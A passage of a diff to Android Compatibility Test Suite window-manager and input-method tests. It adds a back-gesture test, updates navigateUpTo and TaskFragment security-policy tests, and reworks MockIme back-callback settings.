+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.server.wm;
+
+import static android.server.wm.WindowManagerState.STATE_RESUMED;
+import static android.server.wm.WindowManagerState.STATE_STOPPED;
+import static android.server.wm.backlegacyapp.Components.BACK_LEGACY;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.app.Instrumentation;
+import android.os.SystemClock;
+import android.server.wm.TestJournalProvider.TestJournalContainer;
+import android.server.wm.backlegacyapp.Components;
+import android.support.test.uiautomator.UiDevice;
+import android.view.InputEvent;
+import android.view.MotionEvent;
+
+import androidx.annotation.NonNull;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.GestureNavRule;
+
+import org.junit.Before;
+import org.junit.ClassRule;
+import org.junit.Test;
+
+/**
+ * Integration test for back navigation legacy mode
+ */
+public class BackNavigationLegacyGestureTest extends ActivityManagerTestBase {
+ private Instrumentation mInstrumentation;
+
+ @ClassRule
+ public static GestureNavRule GESTURE_NAV_RULE = new GestureNavRule();
+ private UiDevice mUiDevice;
+
+ @Before
+ public void setup() {
+ GESTURE_NAV_RULE.assumeGestureNavigationMode();
+ mInstrumentation = InstrumentationRegistry.getInstrumentation();
+ }
+
+ @Test
+ public void receiveOnBackPressed() {
+ TestJournalContainer.start();
+ launchActivity(BACK_LEGACY);
+ mWmState.assertActivityDisplayed(BACK_LEGACY);
+ waitAndAssertActivityState(BACK_LEGACY, STATE_RESUMED, "Activity should be resumed");
+ mUiDevice = UiDevice.getInstance(mInstrumentation);
+ doBackGesture();
+ waitAndAssertActivityState(BACK_LEGACY, STATE_STOPPED, "Activity should be stopped");
+ assertTrue("OnBackPressed should have been called",
+ TestJournalContainer.get(BACK_LEGACY).extras.getBoolean(
+ Components.KEY_ON_BACK_PRESSED_CALLED));
+ assertFalse("OnBackInvoked should not have been called",
+ TestJournalContainer.get(BACK_LEGACY).extras.getBoolean(
+ Components.KEY_ON_BACK_INVOKED_CALLED));
+ }
+
+ /**
+ * Do a back gesture. (Swipe)
+ */
+ private void doBackGesture() {
+ int midHeight = mUiDevice.getDisplayHeight() / 2;
+ int midWidth = mUiDevice.getDisplayWidth() / 2;
+ quickSwipe(0, midHeight, midWidth, midHeight, 10);
+ mUiDevice.waitForIdle();
+ }
+
+ private void injectInputEventUnSynced(@NonNull InputEvent event) {
+ mInstrumentation.getUiAutomation().injectInputEvent(event, false /* sync */,
+ false /* waitForAnimations */);
+ }
+
+ /**
+ * Injecting a sequence of motion event to simulate swipe without waiting for sync transaction.
+ */
+ private void quickSwipe(float startX, float startY, float endX, float endY, int steps) {
+ if (steps <= 0) {
+ steps = 1;
+ }
+ final long startDownTime = SystemClock.uptimeMillis();
+ MotionEvent firstDown = MotionEvent.obtain(startDownTime, startDownTime,
+ MotionEvent.ACTION_DOWN, startX, startY, 0);
+ injectInputEventUnSynced(firstDown);
+
+ // inject in every 5 ms.
+ final int delayMillis = 5;
+ long nextEventTime = startDownTime + delayMillis;
+ final float stepGapX = (endX - startX) / steps;
+ final float stepGapY = (endY - startY) / steps;
+ for (int i = 0; i < steps; i++) {
+ SystemClock.sleep(delayMillis);
+ final float nextX = startX + stepGapX * i;
+ final float nextY = startY + stepGapY * i;
+ MotionEvent move = MotionEvent.obtain(startDownTime, nextEventTime,
+ MotionEvent.ACTION_MOVE, nextX, nextY, 0);
+ injectInputEventUnSynced(move);
+ nextEventTime += delayMillis;
+ }
+
+ SystemClock.sleep(delayMillis);
+ MotionEvent up = MotionEvent.obtain(startDownTime, nextEventTime,
+ MotionEvent.ACTION_UP, endX, endY, 0);
+ injectInputEventUnSynced(up);
+ }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/BackNavigationLegacyTest.java b/tests/framework/base/windowmanager/src/android/server/wm/BackNavigationLegacyTest.java
index 38d9e6239fe..e7d6ba88412 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/BackNavigationLegacyTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/BackNavigationLegacyTest.java
@@ -16,6 +16,7 @@
package android.server.wm;
import static android.server.wm.WindowManagerState.STATE_RESUMED;
+import static android.server.wm.WindowManagerState.STATE_STOPPED;
import static android.server.wm.backlegacyapp.Components.BACK_LEGACY;
import static org.junit.Assert.assertFalse;
@@ -38,6 +39,8 @@ import org.junit.Test;
public class BackNavigationLegacyTest extends ActivityManagerTestBase {
private Instrumentation mInstrumentation;
+ private UiDevice mUiDevice;
+
@Before
public void setup() {
mInstrumentation = InstrumentationRegistry.getInstrumentation();
@@ -50,7 +53,9 @@ public class BackNavigationLegacyTest extends ActivityManagerTestBase {
launchActivity(BACK_LEGACY);
mWmState.assertActivityDisplayed(BACK_LEGACY);
waitAndAssertActivityState(BACK_LEGACY, STATE_RESUMED, "Activity should be resumed");
- UiDevice.getInstance(mInstrumentation).pressKeyCode(KeyEvent.KEYCODE_BACK);
+ mUiDevice = UiDevice.getInstance(mInstrumentation);
+ mUiDevice.pressKeyCode(KeyEvent.KEYCODE_BACK);
+ waitAndAssertActivityState(BACK_LEGACY, STATE_STOPPED, "Activity should be stopped");
assertTrue("OnBackPressed should have been called",
TestJournalContainer.get(BACK_LEGACY).extras.getBoolean(
Components.KEY_ON_BACK_PRESSED_CALLED));
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java b/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java
index 097defa1d3f..97ec4418c45 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java
@@ -94,7 +94,7 @@ public final class CompatChangeTests extends MultiDisplayTestBase {
// The min aspect ratio of NON_RESIZEABLE_LARGE_ASPECT_RATIO_ACTIVITY (as defined in the
// manifest). This needs to be higher than the aspect ratio of any device, which according to
// CDD is at most 21:9.
- private static final float ACTIVITY_LARGE_MIN_ASPECT_RATIO = 3f;
+ private static final float ACTIVITY_LARGE_MIN_ASPECT_RATIO = 4f;
private static final float FLOAT_EQUALITY_DELTA = 0.01f;
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardLockedTests.java b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardLockedTests.java
index 784003b2452..08b8204cd98 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardLockedTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardLockedTests.java
@@ -174,20 +174,6 @@ public class KeyguardLockedTests extends KeyguardTestBase {
}
@Test
- public void testDismissKeyguardIfInsecure_notAllowed() {
- final LockScreenSession lockScreenSession = createManagedLockScreenSession();
- lockScreenSession.setLockCredential().gotoKeyguard();
-
- mWmState.assertKeyguardShowingAndNotOccluded();
- launchActivityWithDismissKeyguardIfInsecure(SHOW_WHEN_LOCKED_ACTIVITY);
- mWmState.computeState(SHOW_WHEN_LOCKED_ACTIVITY);
- mWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
-
- // Make sure we stay on Keyguard.
- mWmState.assertKeyguardShowingAndOccluded();
- }
-
- @Test
public void testDismissKeyguardActivity_method() {
final LockScreenSession lockScreenSession = createManagedLockScreenSession();
lockScreenSession.setLockCredential();
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTransitionTests.java b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTransitionTests.java
index bac67d28dc0..b585c048c4b 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTransitionTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTransitionTests.java
@@ -106,15 +106,6 @@ public class KeyguardTransitionTests extends ActivityManagerTestBase {
}
@Test
- public void testDismissKeyguardIfInsecure() {
- createManagedLockScreenSession().gotoKeyguard();
- launchActivityWithDismissKeyguardIfInsecure(SHOW_WHEN_LOCKED_NO_PREVIEW_ACTIVITY);
- mWmState.computeState(SHOW_WHEN_LOCKED_NO_PREVIEW_ACTIVITY);
- assertEquals("Picked wrong transition", TRANSIT_KEYGUARD_GOING_AWAY,
- mWmState.getDefaultDisplayLastTransition());
- }
-
- @Test
public void testNewActivityDuringOccluded() {
final LockScreenSession lockScreenSession = createManagedLockScreenSession();
launchActivity(SHOW_WHEN_LOCKED_NO_PREVIEW_ACTIVITY);
@@ -126,18 +117,6 @@ public class KeyguardTransitionTests extends ActivityManagerTestBase {
}
@Test
- public void testNewDismissKeyguardIfInsecureActivityDuringOccluded() {
- final LockScreenSession lockScreenSession = createManagedLockScreenSession();
- launchActivity(SHOW_WHEN_LOCKED_NO_PREVIEW_ACTIVITY);
- lockScreenSession.gotoKeyguard(SHOW_WHEN_LOCKED_NO_PREVIEW_ACTIVITY);
- launchActivityWithDismissKeyguardIfInsecure(
- SHOW_WHEN_LOCKED_WITH_DIALOG_NO_PREVIEW_ACTIVITY);
- mWmState.computeState(SHOW_WHEN_LOCKED_WITH_DIALOG_NO_PREVIEW_ACTIVITY);
- assertEquals("Picked wrong transition", TRANSIT_ACTIVITY_OPEN,
- mWmState.getDefaultDisplayLastTransition());
- }
-
- @Test
public void testOccludeManifestAttr() {
final LockScreenSession lockScreenSession = createManagedLockScreenSession();
lockScreenSession.gotoKeyguard();
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
index ad931ec66b7..1c21598a740 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
@@ -207,10 +207,8 @@ public class MultiDisplayActivityLaunchTests extends MultiDisplayTestBase {
*/
@Test
public void testLaunchExternalDisplayActivityWhilePrimaryOff() {
- if (isOperatorTierDevice()) {
- // This test is not applicable for the device who uses launch_after_boot configuration
- return;
- }
+ // Leanback devices may launch a live broadcast app during screen off-on cycles.
+ final boolean mayLaunchActivityOnScreenOff = isLeanBack();
// Launch something on the primary display so we know there is a resumed activity there
launchActivity(RESIZEABLE_ACTIVITY);
@@ -223,10 +221,12 @@ public class MultiDisplayActivityLaunchTests extends MultiDisplayTestBase {
displayStateSession.turnScreenOff();
// Make sure there is no resumed activity when the primary display is off
- waitAndAssertActivityState(RESIZEABLE_ACTIVITY, STATE_STOPPED,
- "Activity launched on primary display must be stopped after turning off");
- assertEquals("Unexpected resumed activity",
- 0, mWmState.getResumedActivitiesCount());
+ if (!mayLaunchActivityOnScreenOff) {
+ waitAndAssertActivityState(RESIZEABLE_ACTIVITY, STATE_STOPPED,
+ "Activity launched on primary display must be stopped after turning off");
+ assertEquals("Unexpected resumed activity",
+ 0, mWmState.getResumedActivitiesCount());
+ }
final DisplayContent newDisplay = externalDisplaySession
.setCanShowWithInsecureKeyguard(true).createVirtualDisplay();
@@ -236,8 +236,10 @@ public class MultiDisplayActivityLaunchTests extends MultiDisplayTestBase {
// Check that the test activity is resumed on the external display
waitAndAssertActivityStateOnDisplay(TEST_ACTIVITY, STATE_RESUMED, newDisplay.mId,
"Activity launched on external display must be resumed");
- mWmState.assertFocusedAppOnDisplay("App on default display must still be focused",
- RESIZEABLE_ACTIVITY, DEFAULT_DISPLAY);
+ if (!mayLaunchActivityOnScreenOff) {
+ mWmState.assertFocusedAppOnDisplay("App on default display must still be focused",
+ RESIZEABLE_ACTIVITY, DEFAULT_DISPLAY);
+ }
}
/**
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java
index 6ec900cac4b..ed2d6100fee 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java
@@ -55,6 +55,8 @@ import android.platform.test.annotations.Presubmit;
import android.server.wm.CommandSession.ActivitySession;
import android.server.wm.intent.Activities;
+import com.android.compatibility.common.util.ApiTest;
+
import org.junit.Test;
import java.util.Arrays;
@@ -208,13 +210,25 @@ public class StartActivityTests extends ActivityManagerTestBase {
* activity because the caller C in different uid cannot launch a non-exported activity.
*/
@Test
+ @ApiTest(apis = {"android.app.Activity#navigateUpTo"})
public void testStartActivityByNavigateUpToFromDiffUid() {
- final Intent intent1 = new Intent(mContext, Activities.RegularActivity.class);
+ final Intent rootIntent = new Intent(mContext, Activities.RegularActivity.class);
final String regularActivityName = Activities.RegularActivity.class.getName();
final TestActivitySession<Activities.RegularActivity> activitySession1 =
createManagedTestActivitySession();
- activitySession1.launchTestActivityOnDisplaySync(regularActivityName, intent1,
+ activitySession1.launchTestActivityOnDisplaySync(regularActivityName, rootIntent,
DEFAULT_DISPLAY);
+
+ final Intent navIntent = new Intent(mContext, Activities.RegularActivity.class);
+ verifyNavigateUpTo(activitySession1, navIntent);
+
+ navIntent.addFlags(FLAG_ACTIVITY_CLEAR_TOP);
+ verifyNavigateUpTo(activitySession1, navIntent);
+ assertFalse("#onNewIntent cannot be called",
+ activitySession1.getActivity().mIsOnNewIntentCalled);
+ }
+
+ private void verifyNavigateUpTo(TestActivitySession rootActivitySession, Intent navIntent) {
final TestActivitySession<Activities.SingleTopActivity> activitySession2 =
createManagedTestActivitySession();
activitySession2.launchTestActivityOnDisplaySync(Activities.SingleTopActivity.class,
@@ -232,14 +246,14 @@ public class StartActivityTests extends ActivityManagerTestBase {
});
final Bundle data = new Bundle();
- data.putParcelable(EXTRA_INTENT, intent1);
+ data.putParcelable(EXTRA_INTENT, navIntent);
activitySession3.sendCommand(COMMAND_NAVIGATE_UP_TO, data);
- waitAndAssertTopResumedActivity(intent1.getComponent(), DEFAULT_DISPLAY,
- "navigateUpTo should return to the first activity");
+ waitAndAssertTopResumedActivity(rootActivitySession.getActivity().getComponentName(),
+ DEFAULT_DISPLAY, "navigateUpTo should return to the first activity");
// Make sure the resumed first activity is the original instance.
assertFalse("The target of navigateUpTo should not be destroyed",
- activitySession1.getActivity().isDestroyed());
+ rootActivitySession.getActivity().isDestroyed());
// The activities above the first one should be destroyed.
mWmState.waitAndAssertActivityRemoved(
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerPolicyTest.java b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerPolicyTest.java
index 318e6f76104..d49948ffb5d 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerPolicyTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerPolicyTest.java
@@ -27,11 +27,13 @@ import static android.server.wm.app30.Components.SDK_30_TEST_ACTIVITY;
import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
import static org.junit.Assert.assertEquals;
import android.app.Activity;
import android.app.Instrumentation;
+import android.content.ComponentName;
import android.content.Intent;
import android.graphics.Rect;
import android.os.Binder;
@@ -39,6 +41,7 @@ import android.os.IBinder;
import android.platform.test.annotations.Presubmit;
import android.server.wm.TaskFragmentOrganizerTestBase.BasicTaskFragmentOrganizer;
import android.server.wm.WindowContextTests.TestActivity;
+import android.server.wm.WindowManagerState.Task;
import android.window.TaskAppearedInfo;
import android.window.TaskFragmentCreationParams;
import android.window.TaskFragmentInfo;
@@ -196,18 +199,13 @@ public class TaskFragmentOrganizerPolicyTest extends ActivityManagerTestBase {
null /* activityOptions */);
mTaskFragmentOrganizer.applyTransaction(wct);
-
- mTaskFragmentOrganizer.waitForTaskFragmentCreated();
-
- TaskFragmentInfo info = mTaskFragmentOrganizer.getTaskFragmentInfo(taskFragToken);
-
- // TaskFragment must remain empty because embedding activities in a new task is not allowed.
- assertEmptyTaskFragment(info, taskFragToken);
-
mTaskFragmentOrganizer.waitForTaskFragmentError();
assertThat(mTaskFragmentOrganizer.getThrowable()).isInstanceOf(SecurityException.class);
assertThat(mTaskFragmentOrganizer.getErrorCallbackToken()).isEqualTo(errorCallbackToken);
+
+ // Activity must be launched on a new task instead.
+ waitAndAssertActivityLaunchOnTask(LAUNCHING_ACTIVITY);
}
/**
@@ -233,9 +231,20 @@ public class TaskFragmentOrganizerPolicyTest extends ActivityManagerTestBase {
mTaskFragmentOrganizer.waitForTaskFragmentError();
assertThat(mTaskFragmentOrganizer.getThrowable()).isInstanceOf(SecurityException.class);
- // Making sure no activity launched
+ // Making sure activity is not launched on the TaskFragment
TaskFragmentInfo info = mTaskFragmentOrganizer.getTaskFragmentInfo(taskFragToken);
assertEmptyTaskFragment(info, taskFragToken);
+
+ // Activity must be launched on a new task instead.
+ waitAndAssertActivityLaunchOnTask(SDK_30_TEST_ACTIVITY);
+ }
+
+ private void waitAndAssertActivityLaunchOnTask(ComponentName activityName) {
+ waitAndAssertResumedActivity(activityName, "Activity must be resumed.");
+
+ Task task = mWmState.getTaskByActivity(activityName);
+ assertWithMessage("Launching activity must be started on Task")
+ .that(task.getActivities()).contains(mWmState.getActivity(activityName));
}
/**
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentTrustedModeTest.java b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentTrustedModeTest.java
index 385a5af9ed6..9fd1a41a416 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentTrustedModeTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentTrustedModeTest.java
@@ -18,8 +18,10 @@ package android.server.wm;
import static android.server.wm.WindowManagerState.STATE_RESUMED;
import static android.server.wm.jetpack.second.Components.SECOND_UNTRUSTED_EMBEDDING_ACTIVITY;
+import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.assumeActivityEmbeddingSupportedDevice;
import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
@@ -32,6 +34,7 @@ import android.content.Intent;
import android.graphics.Rect;
import android.os.Binder;
import android.os.IBinder;
+import android.platform.test.annotations.Presubmit;
import android.server.wm.WindowManagerState.Task;
import android.window.TaskFragmentCreationParams;
import android.window.TaskFragmentInfo;
@@ -39,6 +42,7 @@ import android.window.WindowContainerTransaction;
import androidx.annotation.NonNull;
+import org.junit.Before;
import org.junit.Test;
/**
@@ -47,11 +51,19 @@ import org.junit.Test;
* Build/Install/Run:
* atest CtsWindowManagerDeviceTestCases:TaskFragmentTrustedModeTest
*/
+@Presubmit
public class TaskFragmentTrustedModeTest extends TaskFragmentOrganizerTestBase {
private final ComponentName mTranslucentActivity = new ComponentName(mContext,
TranslucentActivity.class);
+ @Before
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+ assumeActivityEmbeddingSupportedDevice();
+ }
+
/**
* Verifies the visibility of a task fragment that has overlays on top of activities embedded
* in untrusted mode when there is an overlay over the task fragment.
@@ -239,7 +251,7 @@ public class TaskFragmentTrustedModeTest extends TaskFragmentOrganizerTestBase {
*/
@Test
public void testUntrustedModeTaskFragment_startActivityInTaskFragmentOutsideOfParentBounds() {
- final Task parentTask = mWmState.getRootTask(mOwnerTaskId);
+ Task parentTask = mWmState.getRootTask(mOwnerTaskId);
final Rect parentBounds = new Rect(parentTask.getBounds());
final IBinder errorCallbackToken = new Binder();
final WindowContainerTransaction wct = new WindowContainerTransaction()
@@ -254,8 +266,11 @@ public class TaskFragmentTrustedModeTest extends TaskFragmentOrganizerTestBase {
// It is disallowed to start activity to TaskFragment with bounds outside of its parent
// in untrusted mode.
assertTaskFragmentError(errorCallbackToken, SecurityException.class);
- mWmState.waitForAppTransitionIdleOnDisplay(mOwnerActivity.getDisplayId());
- mWmState.assertNotExist(SECOND_UNTRUSTED_EMBEDDING_ACTIVITY);
+
+ parentTask = mWmState.getRootTask(mOwnerTaskId);
+ assertWithMessage("Activity must be started in parent Task because it's not"
+ + " allowed to be embedded").that(parentTask.mActivities).contains(
+ mWmState.getActivity(SECOND_UNTRUSTED_EMBEDDING_ACTIVITY));
}
/**
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
index 65465b27895..8dc33b1f745 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
@@ -59,6 +59,7 @@ import android.app.AlertDialog;
import android.app.Instrumentation;
import android.content.Context;
import android.content.pm.PackageManager;
+import android.content.res.Resources;
import android.os.Bundle;
import android.os.SystemClock;
import android.platform.test.annotations.Presubmit;
@@ -226,6 +227,11 @@ public class WindowInsetsControllerTests extends WindowManagerTestBase {
final Instrumentation instrumentation = getInstrumentation();
assumeThat(MockImeSession.getUnavailabilityReason(instrumentation.getContext()),
nullValue());
+ final Resources resources = instrumentation.getContext().getResources();
+ final boolean isHideNavBarForKeyboardEnabled = resources.getBoolean(
+ resources.getIdentifier("config_hideNavBarForKeyboard", "bool", "android"));
+ assumeFalse("Device is configured to not show navigation bar for keyboard",
+ isHideNavBarForKeyboardEnabled);
final MockImeSession imeSession = MockImeHelper.createManagedMockImeSession(this);
final ImeEventStream stream = imeSession.openEventStream();
final TestActivity activity = startActivityInWindowingModeFullScreen(TestActivity.class);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/intent/Activities.java b/tests/framework/base/windowmanager/src/android/server/wm/intent/Activities.java
index 5dc7ffe1dbd..208d94fc0bd 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/intent/Activities.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/intent/Activities.java
@@ -17,6 +17,7 @@
package android.server.wm.intent;
import android.app.Activity;
+import android.content.Intent;
import android.os.Bundle;
/**
@@ -40,6 +41,13 @@ public class Activities {
}
public static class RegularActivity extends BaseActivity {
+ public boolean mIsOnNewIntentCalled = false;
+
+ @Override
+ protected void onNewIntent(Intent intent) {
+ super.onNewIntent(intent);
+ mIsOnNewIntentCalled = true;
+ }
}
public static class SingleTopActivity extends BaseActivity {
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index 3ffda885a4f..03988ea28af 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -1106,10 +1106,6 @@ public abstract class ActivityManagerTestBase {
return sIsTablet;
}
- protected boolean isOperatorTierDevice() {
- return hasDeviceFeature("com.google.android.tv.operator_tier");
- }
-
protected void waitAndAssertActivityState(ComponentName activityName,
String state, String message) {
mWmState.waitForActivityState(activityName, state);
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java
index be709b454c6..cfc30ec673e 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java
@@ -61,6 +61,11 @@ public class ImeSettings {
private static final String STRICT_MODE_ENABLED = "StrictModeEnabled";
private static final String VERIFY_CONTEXT_APIS_IN_ON_CREATE = "VerifyContextApisInOnCreate";
+ /**
+ * Simulate the manifest flag enableOnBackInvokedCallback being true for the IME.
+ */
+ private static final String ON_BACK_CALLBACK_ENABLED = "onBackCallbackEnabled";
+
@NonNull
private final PersistableBundle mBundle;
@@ -182,6 +187,10 @@ public class ImeSettings {
return mBundle.getBoolean(VERIFY_CONTEXT_APIS_IN_ON_CREATE, false);
}
+ public boolean isOnBackCallbackEnabled() {
+ return mBundle.getBoolean(ON_BACK_CALLBACK_ENABLED, false);
+ }
+
static Bundle serializeToBundle(@NonNull String eventCallbackActionName,
@Nullable Builder builder) {
final Bundle result = new Bundle();
@@ -363,5 +372,15 @@ public class ImeSettings {
mBundle.putBoolean(VERIFY_CONTEXT_APIS_IN_ON_CREATE, enabled);
return this;
}
+
+ /**
+ * Sets whether the IME's
+ * {@link android.content.pm.ApplicationInfo#isOnBackInvokedCallbackEnabled()}
+ * should be set to {@code true}.
+ */
+ public Builder setOnBackCallbackEnabled(boolean enabled) {
+ mBundle.putBoolean(ON_BACK_CALLBACK_ENABLED, enabled);
+ return this;
+ }
}
}
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
index fc4c05e31a2..528da58c7b7 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
@@ -426,10 +426,6 @@ public final class MockIme extends InputMethodService {
return e;
}
}
- case "setEnableOnBackInvokedCallback":
- boolean isEnabled = command.getExtras().getBoolean("isEnabled");
- getApplicationInfo().setEnableOnBackInvokedCallback(isEnabled);
- return ImeEvent.RETURN_VALUE_UNAVAILABLE;
case "getDisplayId":
return getDisplay().getDisplayId();
case "verifyLayoutInflaterContext":
@@ -679,6 +675,10 @@ public final class MockIme extends InputMethodService {
.build());
}
+ if (mSettings.isOnBackCallbackEnabled()) {
+ getApplicationInfo().setEnableOnBackInvokedCallback(true);
+ }
+
getTracer().onCreate(() -> {
super.onCreate();
mHandlerThread.start();
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java
index ccd8659e3de..8855dee537b 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java
@@ -32,7 +32,7 @@ public final class Watermark {
*
* <p>See Bug 174534092 about why we ended up having this.</p>
*/
- private static final int TOLERANCE = 4;
+ private static final int TOLERANCE = 6;
/**
* A utility class that represents A8R8G8B bitmap as an integer array.
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
index ac95dc89c94..d79dccae84c 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
@@ -51,6 +51,7 @@ import static org.junit.Assume.assumeTrue;
import android.app.AlertDialog;
import android.app.Instrumentation;
import android.app.compat.CompatChanges;
+import android.content.Context;
import android.content.pm.PackageManager;
import android.graphics.Color;
import android.os.SystemClock;
@@ -245,27 +246,38 @@ public class KeyboardVisibilityControlTest extends EndToEndImeTestBase {
}
private void verifyHideImeBackPressed(
- boolean appRequestsLegacy, boolean imeRequestsLegacy) throws Exception {
+ boolean appRequestsBackCallback, boolean imeRequestsBackCallback) throws Exception {
final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
- final InputMethodManager imm = InstrumentationRegistry.getInstrumentation()
- .getTargetContext().getSystemService(InputMethodManager.class);
+ final Context context = instrumentation.getTargetContext();
+ final InputMethodManager imm = context.getSystemService(InputMethodManager.class);
+
+ // Whether 'OnBackInvokedCallback' or 'onBackPressed' (legacy back) is used is defined by
+ // the 'enableOnBackInvokedCallback' flag in the Application manifest.
+ // Registering a callback is only authorized if the flag is set to true. Since the
+ // WindowOnBackDispatcher is created at the same time as the ViewRootImpl, for test purpose,
+ // we need to manually set the flag on ApplicationInfo before the window is created which
+ // happens during the MockIme creation and TestActivity creation.
try (MockImeSession imeSession = MockImeSession.create(
instrumentation.getContext(),
instrumentation.getUiAutomation(),
- new ImeSettings.Builder())) {
+ new ImeSettings.Builder()
+ .setOnBackCallbackEnabled(imeRequestsBackCallback)
+ )) {
final ImeEventStream stream = imeSession.openEventStream();
final String marker = getTestMarker();
+
+ if (appRequestsBackCallback) {
+ context.getApplicationInfo().setEnableOnBackInvokedCallback(true);
+ }
+
final EditText editText = launchTestActivity(marker);
final TestActivity testActivity = (TestActivity) editText.getContext();
- if (appRequestsLegacy) {
- testActivity.getApplicationInfo().setEnableOnBackInvokedCallback(true);
+
+ if (!appRequestsBackCallback) {
testActivity.setIgnoreBackKey(true);
}
- if (imeRequestsLegacy) {
- imeSession.callSetEnableOnBackInvokedCallback(true);
- }
expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
notExpectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
@@ -296,22 +308,26 @@ public class KeyboardVisibilityControlTest extends EndToEndImeTestBase {
@Test
public void testHideImeAfterBackPressed_legacyAppLegacyIme() throws Exception {
- verifyHideImeBackPressed(true /* appRequestsLegacy */, true /* imeRequestsLegacy */);
+ verifyHideImeBackPressed(false/* appRequestsBackCallback */,
+ false/* imeRequestsBackCallback */);
}
@Test
public void testHideImeAfterBackPressed_migratedAppLegacyIme() throws Exception {
- verifyHideImeBackPressed(false /* appRequestsLegacy */, true /* imeRequestsLegacy */);
+ verifyHideImeBackPressed(true/* appRequestsBackCallback */,
+ false/* imeRequestsBackCallback */);
}
@Test
public void testHideImeAfterBackPressed_migratedAppMigratedIme() throws Exception {
- verifyHideImeBackPressed(false /* appRequestsLegacy */, false /* imeRequestsLegacy */);
+ verifyHideImeBackPressed(true/* appRequestsBackCallback */,
+ true/* imeRequestsBackCallback */);
}
@Test
public void testHideImeAfterBackPressed_legacyAppMigratedIme() throws Exception {
